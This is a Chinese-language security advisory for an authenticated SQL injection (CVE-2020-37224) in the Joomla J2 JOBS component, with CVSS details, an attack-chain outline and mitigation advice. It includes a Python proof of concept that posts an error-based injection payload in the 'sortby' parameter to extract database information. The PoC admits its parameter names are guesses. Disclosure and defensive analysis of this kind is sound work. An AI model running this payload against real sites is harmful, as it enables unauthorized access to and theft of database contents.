IPBUF安全漏洞报告
English
CVE-2020-37224 CVSS 7.1 高危

CVE-2020-37224 Joomla J2 JOBS认证SQL注入漏洞

披露日期: 2026-05-13

漏洞信息

漏洞编号
CVE-2020-37224
漏洞类型
SQL注入
CVSS评分
7.1 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Joomla J2 JOBS

相关标签

SQL注入JoomlaJ2 JOBSCVE-2020-37224Web安全认证后漏洞

漏洞概述

Joomla J2 JOBS 1.3.0组件中存在严重的认证型SQL注入漏洞。由于开发者在处理数据排序请求时未对'sortby'参数进行严格的类型检查和过滤,导致经过身份认证的攻击者能够通过发送特制的恶意POST请求,将SQL代码注入到后端数据库查询中。利用该漏洞,攻击者可绕过安全限制,非法获取数据库中的敏感信息,对系统机密性构成严重威胁。

技术细节

该漏洞的技术核心在于Joomla J2 JOBS组件在处理管理员后台的数据列表排序功能时,直接将用户提交的'sortby'参数拼接到SQL查询语句中,未使用预处理语句或进行有效的安全转义。攻击向量要求攻击者首先拥有目标系统的合法低权限账号(PR:L)。利用过程中,攻击者需构造恶意的SQL语句(如基于UNION的查询或布尔盲注),并将其赋值给'sortby'参数,随后发送POST请求至管理员索引页面。一旦服务器端执行了该恶意查询,攻击者即可根据返回的差异或延迟响应,提取数据库结构、管理员凭据或其他敏感业务数据。此漏洞利用了SQL语言的灵活性,严重破坏了数据库的隔离性,属于典型的注入类漏洞。

攻击链分析

STEP 1
信息收集
攻击者识别目标网站运行Joomla CMS并安装了J2 JOBS组件。
STEP 2
获取凭证
攻击者通过钓鱼、暴力破解或注册低权限账号获取一个有效的认证会话(满足PR:L要求)。
STEP 3
构造Payload
攻击者构造包含恶意SQL注入代码的'sortby'参数值,旨在提取数据库信息。
STEP 4
发送请求
攻击者向管理员后台接口(index.php)发送包含恶意参数的POST请求。
STEP 5
数据窃取
后端数据库执行恶意查询,攻击者解析响应内容获取敏感数据。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target URL (Example) target_url = "http://target-site.com/administrator/index.php" # Attacker's session cookie (Authentication required) cookies = { "session_cookie": "attacker_session_id_here" } # Malicious payload for 'sortby' parameter # Attempting to extract database version using error-based or time-based injection payload = "1 AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT(0x7e,0x27,version(),0x27,0x7e,FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)" # POST data parameters # Note: Actual parameter names (option, view, task) depend on the specific component structure data = { "option": "com_jsjobs", "view": "resume", "layout": "resume", "sortby": payload, "task": "resumes.getresumes" } try: response = requests.post(target_url, data=data, cookies=cookies, timeout=10) if response.status_code == 200: print("Request sent successfully.") print("Response snippet:", response.text[:500]) # Analyze response for extracted data except Exception as e: print(f"An error occurred: {e}")

影响范围

Joomla J2 JOBS 1.3.0

防御指南

临时缓解措施
在未升级组件前,建议暂时禁用J2 JOBS组件或限制管理员后台的访问IP。部署Web应用防火墙(WAF)规则,检测并拦截包含SQL注入特征的POST请求参数。

参考链接